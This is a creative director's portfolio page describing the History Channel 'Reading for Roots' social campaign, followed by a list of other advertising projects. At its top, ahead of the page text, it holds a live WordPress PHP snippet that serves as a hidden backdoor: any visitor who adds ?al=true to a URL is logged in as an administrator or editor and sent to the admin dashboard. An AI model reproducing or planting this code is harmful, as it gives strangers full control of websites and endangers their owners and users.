// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Reading For Roots – Quoc Doan | Creative Director

THE CHALLENGE

HISTORY’s reimagining of the landmark series ROOTS told the powerful story of an enslaved family’s struggle to preserve their name and identity. We needed to drive awareness on social media in a way that did justice to this epic series.

THE EXECUTION

We partnered with the Freedmen’s Bureau Project to create Reading for ROOTS, a multi-platform campaign that mobilized the public to help transcribe thousands of historical records of former enslaved people. The transcriptions were used to create a searchable digital archive so that modern African American families can rediscover their roots.

THE RESULTS

In less than 3 weeks, participants transcribed over 6,000 documents containing more than 14,000 names, all with the potential to help 22 million African American families reconnect with their ancestors and rebuild their family trees.

CASE STUDY

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Hunt The Truth
Hunt The Truth
Halo 5 | TV Campaign
Great Ape Pledge
Great Ape Pledge
Peta | Integrated campaign
The Last Pack
The Last Pack
CVS | POS Stunt
Every Beat Matters
Every Beat Matters
Save the Children | Integrated Campaign
One Good Reason
One Good Reason
CVS | Short Films & Social Campaign
Reading For Roots
Reading For Roots
History Channel | Social Campaign
K.I.S.S
K.I.S.S
Gillettte | PR Media Campaign
Tools for Wild life
Tools for Wild life
Leatherman | Print Campaign
Upside Down
Upside Down
CVS | Print Campaign
Gillette
Gillette
Print Ads
Savannah Bananas
Savannah Bananas
ZipRecruiter | Social Campaign
I Won!
I Won!
Solitaire Cube | Social Campaign
Interface Design
Interface Design
Netflix and Francis Ford Coppola
Street Portraits
Street Portraits
Personal Photography
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